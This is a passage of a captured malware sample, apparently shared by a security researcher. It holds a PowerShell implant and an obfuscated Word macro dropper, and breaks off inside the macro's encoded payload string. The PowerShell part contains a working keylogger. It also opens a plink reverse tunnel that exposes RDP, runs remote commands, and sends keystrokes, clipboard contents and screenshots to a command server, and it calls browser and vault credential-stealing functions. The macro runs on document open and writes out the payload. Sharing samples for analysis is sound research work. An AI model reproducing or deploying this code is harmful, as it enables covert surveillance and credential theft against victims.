#& cmd /c "echo yes | $env:temp\plink.exe -R "+$plink_trigger_port+":127.0.0.1:3389 -l $plink_username -pw $plink_password $plink_ip -N" } -ArgumentList $plink_username, $plink_password, $plink_trigger_port, $plink_ip }
& cmd /c "echo S | $env:temp\stnlc.exe $plink_username@$plink_ip -s2c=0.0.0.0,$plink_trigger_port,localhost,3389 -pw=$plink_password"
& cmd /c "$env:temp\stnlc.exe $plink_username@$plink_ip -s2c=0.0.0.0,$plink_trigger_port,localhost,3389 -pw=$plink_password -unat=y"
} -ArgumentList $plink_username, $plink_password, $plink_trigger_port, $plink_ip }
elseif ($cmd -ne '') { Start-Job -ScriptBlock {& cmd /c $args[0]} -ArgumentList $cmd
Write-Host $args[0]
}}}
$WebGetTimer = 1200
Start-Sleep -Seconds $WebGetTimer
}
} -ArgumentList $params.url, $params.resolution, $params.domain, $params.computer_name, $params.username, $params.timezone, $params.hashid, $params.version
}
function PostFile($file_name) {
$name = (Get-ChildItem $file_name).name
$bytes = [System.IO.File]::ReadAllBytes($file_name)
$enc = [System.Text.Encoding]::GetEncoding($codePageName)
$data = $enc.GetString($bytes)
[System.Net.WebRequest]$webRequest = [System.Net.WebRequest]::Create($params.url+'/pshscr')
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
$webRequest.ContentType = "image/jpeg"
$webRequest.Method = "POST"
[byte[]]$bytes = $enc.GetBytes($data);
$webRequest.ContentLength = $bytes.Length;
$webRequest.Headers.add('content-disposition', "file=$name")
$webRequest.Headers.add('hashid', $params.hashid)
$webRequest.Headers.add('computer_name', $params.computer_name)
$webRequest.Headers.add('domain', $params.domain)
$webRequest.Headers.add('username', $params.username)
[System.IO.Stream]$reqStream = $webRequest.GetRequestStream()
$reqStream.Write($bytes, 0, $bytes.Length);
$reqStream.Flush();
$resp = $webRequest.GetResponse();
$rs = $resp.GetResponseStream();
[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $rs;
$sr.ReadToEnd();
}
function WebPost {
$pshlog_url = $params.url+"/pshlog"
while ($true) {
$WebPostTimer = 1200
Start-Sleep -Seconds $WebPostTimer
Write-host $params.log_file
If (Test-Path $log_file) {
#$content = [IO.File]::ReadAllText($params.log_file)
$aaa = Get-Content $params.log_file
$content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($aaa))
$json = @{"resolution" = $params.resolution; "domain" = $params.domain; "computer_name" = $params.computer_name; "username" = $params.username; "timezone" = $params.timezone; "hashid" = $params.hashid; "version" = $params.version; "content" = $content; "type" = "keylog"}
$log_json = $json | ConvertTo-Json
Write-Host $log_json
$buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json)
[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($pshlog_url)
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
$webRequest.ContentType = "application/json"
$webRequest.Timeout = 10000
$webRequest.Method = "POST"
$webRequest.ContentLength = $buffer.Length;
$requestStream = $webRequest.GetRequestStream()
$requestStream.Write($buffer, 0, $buffer.Length)
$requestStream.Flush()
$requestStream.Close()
[System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
$streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
$result = $streamReader.ReadToEnd()
Remove-Item $log_file
}
if (Test-Path "$env:Temp\Applnsights_VisualStudio.txt") {
$clipfile = "$env:Temp\Applnsights_VisualStudio.txt"
$aaa = Get-Content $clipfile | Out-String
$content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($aaa))
$json = @{"resolution" = $params.resolution; "domain" = $params.domain; "computer_name" = $params.computer_name; "username" = $params.username; "timezone" = $params.timezone; "hashid" = $params.hashid; "version" = $params.version; "content" = $content; "type" = "clipboard"}
$log_json = $json | ConvertTo-Json
write-host $log_json
$buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json)
[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create("$pshlog_url")
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
$webRequest.ContentType = "application/json"
$webRequest.Timeout = 10000
$webRequest.Method = "POST"
$webRequest.ContentLength = $buffer.Length;
$requestStream = $webRequest.GetRequestStream()
$requestStream.Write($buffer, 0, $buffer.Length)
$requestStream.Flush()
$requestStream.Close()
[System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
$streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
$result = $streamReader.ReadToEnd()
Remove-Item $clipfile
}
$directoryInfo = Get-ChildItem $ScreenshotPath
If ($directoryInfo) {
$directoryInfo | ForEach-Object {
Write-Host $_.FullName
PostFile($_.FullName)
Remove-Item $_.FullName
}
}
}
}
function Get-Keystrokes {
<#
.SYNOPSIS
.PARAMETER LogPath
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
.PARAMETER Timeout
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
.PARAMETER PassThru
Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes.
.EXAMPLE
Get-Keystrokes -LogPath C:\key.log
.EXAMPLE
Get-Keystrokes -Timeout 20
.LINK
http://www.obscuresec.com/
http://www.exploit-monday.com/
https://github.com/secabstraction
https://github.com/ahhh/PSSE
#>
[CmdletBinding()]
Param (
[Parameter(Position = 0)]
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
[String]$LogPath = "$($env:TEMP)\key.log",
[Parameter(Position = 1)]
[Double]$Timeout,
[Parameter()]
[Switch]$PassThru
)
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }
catch { throw $_ }
$Script = {
Param (
[Parameter(Position = 0)]
[String]$LogPath,
[Parameter(Position = 1)]
[Double]$Timeout
)
function local:Get-DelegateType {
Param (
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
$TypeBuilder.CreateType()
}
function local:Get-ProcAddress {
Param (
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
$GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
#region Imports
[void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')
# SetWindowsHookEx
$SetWindowsHookExAddr = Get-ProcAddress user32.dll SetWindowsHookExA
$SetWindowsHookExDelegate = Get-DelegateType @([Int32], [MulticastDelegate], [IntPtr], [Int32]) ([IntPtr])
$SetWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetWindowsHookExAddr, $SetWindowsHookExDelegate)
# CallNextHookEx
$CallNextHookExAddr = Get-ProcAddress user32.dll CallNextHookEx
$CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([IntPtr])
$CallNextHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CallNextHookExAddr, $CallNextHookExDelegate)
# UnhookWindowsHookEx
$UnhookWindowsHookExAddr = Get-ProcAddress user32.dll UnhookWindowsHookEx
$UnhookWindowsHookExDelegate = Get-DelegateType @([IntPtr]) ([Void])
$UnhookWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UnhookWindowsHookExAddr, $UnhookWindowsHookExDelegate)
# PeekMessage
$PeekMessageAddr = Get-ProcAddress user32.dll PeekMessageA
$PeekMessageDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([Void])
$PeekMessage = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PeekMessageAddr, $PeekMessageDelegate)
# GetAsyncKeyState
$GetAsyncKeyStateAddr = Get-ProcAddress user32.dll GetAsyncKeyState
$GetAsyncKeyStateDelegate = Get-DelegateType @([Windows.Forms.Keys]) ([Int16])
$GetAsyncKeyState = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAsyncKeyStateAddr, $GetAsyncKeyStateDelegate)
# GetForegroundWindow
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
# GetWindowText
$GetWindowTextAddr = Get-ProcAddress user32.dll GetWindowTextA
$GetWindowTextDelegate = Get-DelegateType @([IntPtr], [Text.StringBuilder], [Int32]) ([Void])
$GetWindowText = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetWindowTextAddr, $GetWindowTextDelegate)
# GetModuleHandle
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
$GetModuleHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
#endregion Imports
$CallbackScript = {
Param (
[Parameter()]
[Int32]$Code,
[Parameter()]
[IntPtr]$wParam,
[Parameter()]
[IntPtr]$lParam
)
$Keys = [Windows.Forms.Keys]
$MsgType = $wParam.ToInt32()
# Process WM_KEYDOWN & WM_SYSKEYDOWN messages
if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {
$hWindow = $GetForegroundWindow.Invoke()
$ShiftState = $GetAsyncKeyState.Invoke($Keys::ShiftKey)
if (($ShiftState -band 0x8000) -eq 0x8000) { $Shift = $true }
else { $Shift = $false }
$Caps = [Console]::CapsLock
# Read virtual-key from buffer
$vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)
# Parse virtual-key
if ($vKey -gt 64 -and $vKey -lt 91) { # Alphabet characters
if ($Shift -xor $Caps) { $Key = $vKey.ToString() }
else { $Key = $vKey.ToString().ToLower() }
}
elseif ($vKey -ge 96 -and $vKey -le 111) { # Number pad characters
switch ($vKey.value__) {
96 { $Key = '0' }
97 { $Key = '1' }
98 { $Key = '2' }
99 { $Key = '3' }
100 { $Key = '4' }
101 { $Key = '5' }
102 { $Key = '6' }
103 { $Key = '7' }
104 { $Key = '8' }
105 { $Key = '9' }
106 { $Key = "*" }
107 { $Key = "+" }
108 { $Key = "|" }
109 { $Key = "-" }
110 { $Key = "." }
111 { $Key = "/" }
}
}
elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) {
if ($Shift) {
switch ($vKey.value__) { # Shiftable characters
48 { $Key = ')' }
49 { $Key = '!' }
50 { $Key = '@' }
51 { $Key = '#' }
52 { $Key = '$' }
53 { $Key = '%' }
54 { $Key = '^' }
55 { $Key = '&' }
56 { $Key = '*' }
57 { $Key = '(' }
186 { $Key = ':' }
187 { $Key = '+' }
188 { $Key = '<' }
189 { $Key = '_' }
190 { $Key = '>' }
191 { $Key = '?' }
192 { $Key = '~' }
219 { $Key = '{' }
220 { $Key = '|' }
221 { $Key = '}' }
222 { $Key = '<Double Quotes>' }
}
}
else {
switch ($vKey.value__) {
48 { $Key = '0' }
49 { $Key = '1' }
50 { $Key = '2' }
51 { $Key = '3' }
52 { $Key = '4' }
53 { $Key = '5' }
54 { $Key = '6' }
55 { $Key = '7' }
56 { $Key = '8' }
57 { $Key = '9' }
186 { $Key = ';' }
187 { $Key = '=' }
188 { $Key = ',' }
189 { $Key = '-' }
190 { $Key = '.' }
191 { $Key = '/' }
192 { $Key = '`' }
219 { $Key = '[' }
220 { $Key = '\' }
221 { $Key = ']' }
222 { $Key = '<Single Quote>' }
}
}
}
else {
switch ($vKey) {
$Keys::F1 { $Key = '<F1>' }
$Keys::F2 { $Key = '<F2>' }
$Keys::F3 { $Key = '<F3>' }
$Keys::F4 { $Key = '<F4>' }
$Keys::F5 { $Key = '<F5>' }
$Keys::F6 { $Key = '<F6>' }
$Keys::F7 { $Key = '<F7>' }
$Keys::F8 { $Key = '<F8>' }
$Keys::F9 { $Key = '<F9>' }
$Keys::F10 { $Key = '<F10>' }
$Keys::F11 { $Key = '<F11>' }
$Keys::F12 { $Key = '<F12>' }
$Keys::Snapshot { $Key = '<Print Screen>' }
$Keys::Scroll { $Key = '<Scroll Lock>' }
$Keys::Pause { $Key = '<Pause/Break>' }
$Keys::Insert { $Key = '<Insert>' }
$Keys::Home { $Key = '<Home>' }
$Keys::Delete { $Key = '<Delete>' }
$Keys::End { $Key = '<End>' }
$Keys::Prior { $Key = '<Page Up>' }
$Keys::Next { $Key = '<Page Down>' }
$Keys::Escape { $Key = '<Esc>' }
$Keys::NumLock { $Key = '<Num Lock>' }
$Keys::Capital { $Key = '<Caps Lock>' }
$Keys::Tab { $Key = '<Tab>' }
$Keys::Back { $Key = '<Backspace>' }
$Keys::Enter { $Key = '<Enter>' }
$Keys::Space { $Key = '< >' }
$Keys::Left { $Key = '<Left>' }
$Keys::Up { $Key = '<Up>' }
$Keys::Right { $Key = '<Right>' }
$Keys::Down { $Key = '<Down>' }
$Keys::LMenu { $Key = '<Alt>' }
$Keys::RMenu { $Key = '<Alt>' }
$Keys::LWin { $Key = '<Windows Key>' }
$Keys::RWin { $Key = '<Windows Key>' }
$Keys::LShiftKey { $Key = '<Shift>' }
$Keys::RShiftKey { $Key = '<Shift>' }
$Keys::LControlKey { $Key = '<Ctrl>' }
$Keys::RControlKey { $Key = '<Ctrl>' }
$Keys::MouseClick { $Key = '<LMouse>' }
}
}
# Get foreground window's title
$Title = New-Object Text.Stringbuilder 256
$GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)
# Define object properties
$Props = @{
Key = $Key
Time = [DateTime]::Now
Window = $Title.ToString()
}
$obj = New-Object psobject -Property $Props
# Hack since Export-CSV doesn't have an append switch in PSv2
$CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformation)[1]+'[]nl'
#Invoke-WebRequest -uri "http://45.79.173.232:9002/log" -Method POST -Body $JSON
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
}
return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)
}
# Cast scriptblock as LowLevelKeyboardProc callback
$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
$Callback = $CallbackScript -as $Delegate
# Get handle to PowerShell for hook
$PoshModule = (Get-Process -Id $PID).MainModule.ModuleName
$ModuleHandle = $GetModuleHandle.Invoke($PoshModule)
# Set WM_KEYBOARD_LL hook
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)
$Stopwatch = [Diagnostics.Stopwatch]::StartNew()
while ($true) {
if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }
$PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
Start-Sleep -Milliseconds 10
}
$Stopwatch.Stop()
# Remove the hook
$UnhookWindowsHookEx.Invoke($Hook)
}
# Setup KeyLogger's runspace
$PowerShell = [PowerShell]::Create()
[void]$PowerShell.AddScript($Script)
[void]$PowerShell.AddArgument($LogPath)
if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }
# Start KeyLogger
[void]$PowerShell.BeginInvoke()
if ($PassThru.IsPresent) { return $PowerShell }
}
Get-Keystrokes; Title-Monitor; WebGet; GetChrome; GetFF; GetVault; Gclip; WebPost
# Uploaded by @JohnLaTwC
# From sample: d6a24707dde28a629e5de49ee9c781a806abcca2fd1b832cb3eeb79d903e48f3
###############################################################
##### @JohnLaTWC: First the Malicious Word Macro that drops the PowerShell payload:
###############################################################
Sub AutoOpen()
Main
ActiveDocument.Bookmarks("mcafee").Range.Delete
ActiveDocument.Bookmarks("blur").Range.Delete
End Sub
Function Main()
Dim strA As String
Dim strB As String
Dim strPath As String
Dim strVar1 As String
Dim strVar2 As String
Dim strVar3 As String
Dim strVar4 As String
strVar1 = "L:O:C:A:L:A:P:P:D:A:T:A:"
strVar1 = Replace(strVar1, ":", "")
strVar2 = "\:M:i:c:r:o:s:o:f:t:_:P:o:w:e:r:s:h:e:l:l:"
strVar2 = Replace(strVar2, ":", "")
strPath = Environ(strVar1) + strVar2
strA = strPath + "\A.txt"
strVar3 = "C:O:M:P:U:T:E:R:N:A:M:E:"
strVar3 = Replace(strVar3, ":", "")
strVar4 = ".:i:n:i:.:t:x:t:"
strVar4 = Replace(strVar4, ":", "")
strB = strPath + "\" + Environ(strVar3) + strVar4
If Dir(strPath, vbDirectory) = "" Then
MkDir strPath
End If
SaveF A(), strA
SaveF B(), strB
Deploy
End Function
Function SaveF(str As String, name As String)
Dim fsObj As Object
Dim oFile As Object
Set fsObj = CreateObject("Scripting.FileSystemObject")
Set oFile = fsObj.CreateTextFile(name, True, False)
oFile.Write str
oFile.Close
Set fsObj = Nothing
Set oFile = Nothing
End Function
Function A() As String
Dim str As String
str = "e:F:B:S:K:r:g:Y:c:R:J:P:A:p:k:6:P:A:G:r:i:C:X:j:5:A:U:3:U:k:/:B:z:i:O:2:H:8:B:Q:j:K:5:9:y:h:I:w:t:I:"
str = str + "0:Y:a:s:k:c:J:p:R:d:h:1:o:X:T:m:M:e:r:t:d:L:f:Z:b:T:G:a:P:O:y:d:+:Y:4:u:s:E:W:b:/:u:g:g:+:v:8:t:v:G:"
str = str + "x:X:b:z:y:3:o:l:j:9:F:o:+:e:w:7:r:F:n:7:/:y:L:z:P:7:R:d:j:u:p:7:L:T:I:U:8:j:U:b:H:d:0:O:C:T:3:E:f:V:"
str = str + "/:8:q:W:T:d:a:z:K:x:Z:2:p:K:G:w:L:8:1:U:0:X:5:h:1:A:I:/:g:U:4:L:4:+:w:B:b:7:d:W:F:S:+:W:H:w:U:1:a:A:"
str = str + "X:y:K:V:o:f:r:M:F:l:8:g:s:R:R:2:v:b:G:t:6:I:F:y:U:i:2:O:K:N:e:6:1:v:p:g:7:N:j:w:3:E:C:i:/:1:t:w:U:U:"
str = str + "b:e:D:9:r:w:J:6:M:Q:W:n:H:e:t:v:7:N:m:f:U:P:F:x:z:z:E:9:z:F:M:p:i:J:L:b:m:g:t:F:c:S:R:y:p:H:z:3:K:K:"
str = str + "5:A:A:z:m:V:R:B:L:h:s:w:C:g:T:X:x:l:j:/:M:D:p:b:t:W:Y:9:y:W:f:L:2:N:X:F:M:9:7:W:C:M:m:N:7:l:O:2:Y:h:"
str = str + "r:L:S:j:n:T:3:l:X:r:W:S:y:w:i:0:B:b:/:c:E:a:Q:z:x:f:G:p:J:R:I:z:w:V:b:g:U:m:7:J:E:r:U:9:u:n:F:e:E:j:"
str = str + "U:A:1:J:1:S:b:b:d:j:O:2:z:U:y:U:V:5:a:3:J:1:J:V:2:c:/:I:V:C:6:h:p:C:7:l:m:U:x:7:8:7:v:H:g:R:X:x:2:q:"
str = str + "T:7:y:f:C:5:l:p:b:K:g:v:b:1:a:0:5:u:S:f:K:1:X:R:Z:S:I:Q:4:D:/:d:3:E:0:S:p:P:R:m:5:G:T:W:q:m:A:6:n:f:"
str = str + "c:6:C:i:O:w:e:I:y:s:w:y:A:+:B:+:V:x:I:p:v:d:j:+:F:x:w:D:a:1:p:1:K:y:e:W:a:0:S:v:f:/:e:a:k:f:j:V:l:B:"
str = str + "C:c:Z:1:L:4:J:x:U:V:k:t:D:s:R:D:k:W:Y:p:o:1:C:/:s:6:/:B:L:k:z:r:/:R:C:r:P:L:v:T:4:G:q:e:R:h:l:8:F:s:"
str = str + "s:s:f:3:C:2:Q:U:U:D:x:A:C:4:2:K:W:K:V:n:g:E:a:X:f:+:M:U:M:t:z:1:e:X:C:V:j:Q:g:g:W:U:q:/:T:T:h:m:n:h:"
str = str + "R:l:c:w:w:Z:x:A:W:R:B:2:V:d:0:9:e:0:n:y:N:B:w:Q:8:h:0:a:K:Q:m:q:1:g:B:m:P:y:K:0:c:p:T:j:H:E:p:u:x:C:"
str = str + "U:u:E:P:7:j:z:U:8:b:B:x:C:6:p:Z:y:4:n:z:h:t:+:D:C:0:p:d:u:3:t:p:x:n:e:D:l:G:f:v:G:i:W:Y:k:N:x:G:e:k:"
str = str + "a:n:V:Y:O:C:I:O:L:N:N:D:c:q:k:J:q:N:Y:Y:1:P:S:v:b:t:+:C:c:e:3:G:c:w:Z:R:B:p:m:9:M:x:P:X:T:+:b:W:H:G:"
str = str + "U:U:M:t:J:t:7:q:x:b:U:x:q:F:R:p:x:B:c:2:4:g:4:g:w:6:z:Z:r:A:o:6:Q:K:c:/:1:Y:/:B:4:P:l:1:5:A:/:Q:k:/:"
str = str + "j:E:K:X:B:O:s:r:U:b:0:A:U:h:H:1:O:U:4:m:Q:s:u:/:T:i:p:k:O:p:l:c:2:f:q:e:Q:T:Z:S:n:i:O:k:H:v:f:S:h:H:"
str = str + "u:9:m:0:u:u:/:g:g:7:D:H:d:T:a:q:k:0:p:3:X:5:T:k:1:K:0:S:X:Y:m:Q:c:L:f:N:G:u:e:j:6:8:9:O:C:l:A:i:O:g:"
str = str + "a:a:V:H:9:C:Y:E:r:D:/:Q:9:h:T:J:7:m:p:5:T:3:L:T:P:e:d:/:Q:A:T:k:O:7:y:G:I:T:4:a:l:G:d:U:k:B:R:G:o:/:"
str = str + "N:V:V:8:/:0:Z:y:V:u:j:Q:i:/:r:0:5:s:l:v:Z:B:J:r:o:u:T:r:5:J:X:t:y:Q:/:b:m:A:i:W:O:y:p:g:6:/:0:8:c:P:"
str = str + "r:O:u:I:k:E:m:n:r:k:j:W:l:i:S:y:X:T:Q:v:z:I:t:X:N:3:q:v:v:j:4:l:d:v:Z:G:A:b:M:1:v:k:Q:s:+:T:x:l:I:l:"
str = str + "4:l:U:U:k:0:F:7:C:d:n:F:E:M:r:K:8:m:9:k:N:9:G:b:G:q:p:e:C:L:V:w:5:8:X:r:r:I:E:R:g:R:K:W:c:0:c:Q:z:t:"
str = str + "I:N:9:+:g:t:h:W:I:i:+:w:J:J:4:D:p:w:X:9:O:g:4:A:a:j:N:W:l:+:i:e:A:U:G:w:i:p:N:n:A:e:0:O:B:g:3:t:j:k:"
str = str + "7:z:8:z:Y:s:B:v:p:k:S:z:1:g:i:7:M:T:5:E:n:r:b:D:u:0:+:Z:L:c:r:i:t:l:G:g:j:p:M:5:f:Y:g:w:o:j:S:Q:0:O:"
str = str + "G:x:E:f:I:v:D:n:B:t:8:v:y:5:b:M:g:p:x:a:c:t:L:L:G:V:a:8:P:M:N:u:R:p:p:7:U:m:Q:2:Q:E:/:j:A:G:x:Z:l:P:"
str = str + "l:n:y:e:Z:v:S:N:s:K:3:z:a:R:n:E:v:o:U:x:3:X:f:V:/:n:s:D:R:w:b:I:u:a:z:l:Y:A:U:I:B:C:E:f:n:l:L:4:2:x:"
str = str + "F:8:4:w:W:+:V:x:c:z:x:Z:6:Q:r:5:8:h:R:K:j:Z:8:i:5:f:r:v:O:F:K:u:j:s:+:D:y:o:R:h:L:T:G:Q:X:V:D:i:6:g:"
str = str + "+:D:y:m:h:R:+:W:z:8:u:N:H:K:C:p:4:p:m:w:/:L:g:H:L:g:C:f:R:W:D:J:J:J:r:R:Q:F:1:m:s:w:j:O:f:a:W:j:H:u:"
str = str + "F:o:i:v:n:f:v:/:9:/:G:t:m:7:N:r:u:l:m:r:6:i:Q:N:3:H:j:f:p:3:C:V:J:s:a:y:f:K:y:c:X:I:6:5:c:o:u:3:X:f:"
str = str + "+:V:n:c:e:Z:l:G:+:E:2:p:G:G:a:y:U:3:k:h:Z:1:h:e:e:n:G:Y:e:Q:u:k:B:v:z:V:/:W:c:3:O:0:U:/:L:d:b:U:A:0:"
str = str + "+:U:g:j:3:h:a:K:F:l:k:+:C:H:i:G:+:6:i:j:K:C:O:z:X:k:8:H:V:3:B:o:G:M:+:6:y:G:j:+:t:P:1:b:p:E:r:p:V:g:"
str = str + "f:o:J:U:M:0:b:N:x:D:E:J:2:K:f:R:G:h:f:R:P:f:t:t:/:i:0:d:w:V:J:f:l:A:U:I:L:Z:b:Z:r:i:G:k:O:G:q:B:d:j:"
str = str + "p:d:h:n:G:E:q:6:Y:b:2:L:+:8:V:s:T:g:7:a:s:r:X:P:u:a:u:M:3:m:9:s:D:I:0:p:0:7:s:y:8:w:b:U:B:t:S:E:p:f:"
str = str + "k:s:x:A:n:E:a:1:v:a:A:j:T:6:b:D:c:f:e:C:I:4:9:G:q:X:a:X:W:C:T:v:v:p:w:m:9:W:r:R:T:1:V:E:A:O:V:L:x:G:"
str = str + "I:G:g:6:S:w:+:/:p:U:v:Q:L:7:p:V:D:m:W:C:L:i:X:s:+:E:y:C:a:Q:e:e:C:I:v:9:l:v:Q:o:P:/:q:9:0:S:K:V:s:5:"
str = str + "Q:d:k:h:O:9:l:n:0:z:z:5:o:g:d:i:V:6:z:a:t:G:g:j:X:q:H:Q:I:y:R:u:Y:c:f:x:A:m:4:u:O:T:3:N:q:4:+:E:i:T:"
str = str + "8:w:B:G:p:b:t:F:J:F:I:j:h:D:q:X:S:j:J:Y:k:k:/:z:8:F:l:z:o:T:W:Y:7:q:8:w:H:l:t:v:B:M:m:2:6:z:h:D:Y:6:"
str = str + "G:f:f:1:U:P:V:9:V:s:E:q:V:L:3:J:o:8:X:Z:T:X:N:7:T:b:F:/:t:9:k:X:H:W:1:J:R:T:Q:J:b:2:9:b:M:W:i:d:E:w:"
str = str + "o:Q:W:K:K:z:h:A:b:9:D:O:i:F:E:L:k:D:C:j:4:g:m:I:h:Q:i:S:I:9:Q:G:1:n:Z:P:f:H:w:k:1:y:b:L:q:t:5:i:v:R:"
str = str + "8:j:Z:x:p:9:6:m:5:+:d:m:8:s:D:0:W:C:4:I:j:A:A:W:J:1:C:3:w:a:o:9:V:B:l:Q:I:T:S:G:L:x:Z:L:N:J:2:M:u:X:"
str = str + "m:k:O:S:7:t:F:z:7:O:h:c:o:W:R:2:d:3:F:Q:1:e:F:b:J:P:j:0:k:8:l:V:8:d:I:3:R:k:G:y:1:P:O:D:3:5:Z:h:y:n:"
str = str + "Y:5:s:6:4:j:Y:i:1:W:P:9:V:i:r:j:9:S:T:M:x:7:b:9:c:8:h:/:q:h:i:M:9:K:N:F:r:k:/:8:A:T:k:x:i:S:r:h:a:G:"
str = str + "k:u:b:p:w:5:C:s:H:e:G:h:H:9:k:U:f:p:G:b:C:n:X:2:W:G:L:k:r:M:d:f:I:F:b:k:3:o:g:6:t:i:d:t:p:G:d:X:K:b:"
str = str + "C:n:z:k:7:t:C:N:g:/:L:o:f:p:2:t:t:G:D:n:C:V:M:s:y:G:T:w:l:a:N:k:w:s:0:H:o:V:f:y:Y:l:J:i:8:E:m:D:C:W:"
str = str + "r:0:w:O:M:/:G:E:3:U:z:r:+:7:v:j:2:z:L:t:Q:U:p:u:F:9:d:k:T:6:f:B:U:h:J:y:G:a:9:Y:v:d:Y:Y:O:N:/:c:9:j:"
str = str + "8:Z:w:a:S:F:3:4:/:T:a:L:j:V:A:R:K:5:f:q:N:4:z:t:V:4:O:i:A:9:/:Y:l:u:W:I:a:w:P:P:o:c:T:j:u:Y:T:3:A:Z:"
str = str + "W:v:o:n:E:a:Z:1:q:z:s:O:Y:8:C:P:Z:p:f:S:k:H:0:c:1:e:W:u:w:6:u:l:5:S:4:s:j:O:y:k:m:+:E:2:a:d:6:d:Z:O:"
str = str + "g:X:2:c:P:9:x:y:z:5:1:F:g:4:x:9:c:A:d:F:1:m:0:h:8:a:R:6:m:z:s:J:n:G:N:o:b:U:J:o:Q:/:m:X:v:3:S:M:/:V:"
str = str + "S:h:l:I:c:O:b:O:+:k:7:p:d:l:u:F:f:G:h:6:6:v:m:Z:x:n:z:J:R:k:q:k:G:9:I:S:W:M:/:l:D:c:Z:s:C:q:j:t:P:n:"
